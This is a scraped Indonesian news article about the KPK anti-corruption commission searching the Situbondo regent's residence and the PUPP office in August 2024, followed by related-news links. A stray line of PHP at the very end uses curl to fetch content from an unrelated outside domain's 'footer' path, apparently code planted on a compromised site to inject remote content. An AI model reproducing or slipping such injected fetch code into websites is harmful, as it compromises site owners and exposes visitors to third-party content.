Miris * Kabar Terbaru Bupati Situbondo Setelah Rumah Dinasnya Dan Kantor Dinas PUPP Di Obok – obok Penyidik KPK

Jumat, 30 Agustus 2024

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Situbondo | jejakkasus.info – Juru bicara (Jubir) KPK, Tessa Mahardika Sugianto Drama penggeledahan yang dilakukan Komisi Pemberantasan Korupsi (KPK) di Situbondo pada 28 Agustus 2024 mengundang perhatian masyarakat luas sekabupaten Situbondo dan juga kota tetangga. Bupati Situbondo, berinisial KS, menjadi sorotan setelah penyidik KPK menggerebek rumah dinas dan kantornya bersama kantor PUPP Situbondo

Kemarin di kantor pendopo kabupaten Situbondo, dalam penggeledahan itu penyidik KPK mengamankan satu ( 1 ) koper merah berisi sejumlah dokumen penting dan barang bukti elektronik terkait dugaan korupsi dalam pengelolaan dana Pemulihan Ekonomi Nasional (PEN) serta pengadaan barang dan jasa.

Baca Juga:  Kapolda Jateng Pimpin Upacara HUT Satpam Ke-42, Beri Penghargaan Pada Satpam Berprestasi

Sementara Juru bicara KPK, Tessa Mahardhika Sugiarto, dalam keterangan resminya di Gedung Merah Putih, Jakarta Selatan, menyebut bahwa barang bukti yang disita berupa dokumen-dokumen terkait pengadaan serta alat elektronik.”Paparnya.

Selanjutnya barang-barang ini akan dikonfirmasi dengan sejumlah saksi yang akan segera dipanggil oleh penyidik,” ungkapnya, namun ia enggan mengungkapkan detail lebih lanjut tentang jenis dokumen dan perangkat yang disita kemarin.

Baca Juga:  Intensitas Panas Matahari di Musim Kemarau Daun Runtuh Akibatkan Kebakaran

Banyak spekulasi pun berkembang di masyarakat, terutama mengenai nasib Bupati KS. Beredar rumor bahwa KPK telah menahan KS setelah penggeledahan tersebut. Namun, Tessa dengan tegas membantah kabar tersebut. “Info sementara hanya penggeledahan saja, belum ada informasi penahanan. Kami akan menyampaikan perkembangan lebih lanjut,” tegas Tessa melalui pesan WhatsApp, Kamis pagi (29/08/2024).

Baca Juga:  Calon anggota Panitia Pemungutan suara (PPS) Pel Gub dan .Pel Bub beserta Wakil.

Dengan kasus ini semakin menarik perhatian publik karena KS telah ditetapkan sebagai tersangka oleh KPK sejak 6 Agustus 2024, bersama dengan seorang penyelenggara negara berinisial EP. Dugaan korupsi ini diyakini terjadi dalam rentang waktu 2021 hingga 2024, dengan nilai kerugian yang masih dalam perhitungan.

Namun hingga saat ini, belum ada keterangan resmi dari pihak Pemerintah Kabupaten Situbondo, Kini masyarakat Situbondo dan Indonesia menunggu kelanjutan kasus ini. ( ** ).

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Tingkatkan Ketaqwaan KPH Perum Perhutani Bondowoso Adakanaulid Nabi dan Berikan Santunan Pada Anak Yatim
Empat Tahun Peristiwa Kematian Saputra Fibriansyah, Polres Gresik Mulai Buka Penyelidikan Baru
Kapolres Tabanan Gelar Jumat Curhat Bersama Warga Desa Sudimara di Pantai Yeh Gangga
Prajurit Kodam IX/Udayana Raih Medali di Cabang MMA PON XXI 2024
Kuasa hukum AG, Reydi Nobel.S.H apresiasi majelis hakim tunggal, ni Made Dewi Sukarni.SH karena mengabulkan permohonan praperadilan.
Polsek Petang Gelar Blue Light Patrol Antisipasi Gangguan Kamtibmas Jelang Pilkada 2024
Tingkatkan Patroli Samapta Polsek Mengwi Sambangi SPBU
Menjelang Pilkada Kabupaten Sidoarjo Bhabinkamtibmas Polsek Tanggulangin Adakan Dialog Dengan Tokoh Agama Dan Masyarakat.

Berita Terkait

Jumat, 20 September 2024 - 17:35 WIB

Tingkatkan Ketaqwaan KPH Perum Perhutani Bondowoso Adakanaulid Nabi dan Berikan Santunan Pada Anak Yatim

Jumat, 20 September 2024 - 15:01 WIB

Empat Tahun Peristiwa Kematian Saputra Fibriansyah, Polres Gresik Mulai Buka Penyelidikan Baru

Jumat, 20 September 2024 - 11:01 WIB

Kapolres Tabanan Gelar Jumat Curhat Bersama Warga Desa Sudimara di Pantai Yeh Gangga

Jumat, 20 September 2024 - 10:59 WIB

Prajurit Kodam IX/Udayana Raih Medali di Cabang MMA PON XXI 2024

Jumat, 20 September 2024 - 10:58 WIB

Kuasa hukum AG, Reydi Nobel.S.H apresiasi majelis hakim tunggal, ni Made Dewi Sukarni.SH karena mengabulkan permohonan praperadilan.

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>